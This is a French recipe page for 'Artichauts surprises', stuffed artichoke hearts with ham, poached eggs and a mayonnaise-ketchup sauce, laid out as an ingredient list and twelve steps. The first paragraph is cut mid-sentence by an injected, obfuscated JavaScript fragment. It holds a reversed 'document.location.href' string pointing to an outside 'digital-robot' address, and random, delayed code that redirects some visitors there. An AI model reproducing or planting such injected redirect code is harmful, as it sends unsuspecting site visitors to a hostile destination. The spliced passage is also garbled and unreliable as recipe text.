Artichauts surprises

2021-05-03

Cassez les queues d’artichauts. Coupez-les feuilles en tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant pour ne garder que le cœur. Ôtez le foin, citronnez, et faites-les cuire dans une eau bouillante salée pendant 35 minutes.

Ingrédients

  • Pour 6 personnes
  • 6 artichauts breton
  • 6 œufs
  • 150 g de jambons de pays
  • ¼ de litre de mayonnaise +50g de crème fraîche et ketchup
  • 1 citron
  • Sel, poivre

Préparation de la recette

Etape 1

Cassez les queues d’artichauts.

Etape 2

Coupez-les feuilles en tournant pour ne garder que le cœur.

Etape 3

Ôtez le foin, citronnez, et faites-les cuire dans une eau bouillante salée pendant 35 minutes.

Etape 4

Vérifiez la cuisson.

Etape 5

Les égouttez.

Etape 6

Dans une louche cassez chaque œuf que vous plongerez dans une eau vinaigrée pendant 3 minutes.

Etape 7

Égouttez-les sur un linge et laissez refroidir.

Etape 8

Coupez le jambon en petits dés.

Etape 9

Garnissez les fonds d’artichauts.

Etape 10

Déposez l’œuf poché.

Etape 11

Nappez de sauce mayonnaise que vous allongez de crème fraîche et de ketchup en mélangeant minutieusement.

Etape 12

Servir frais

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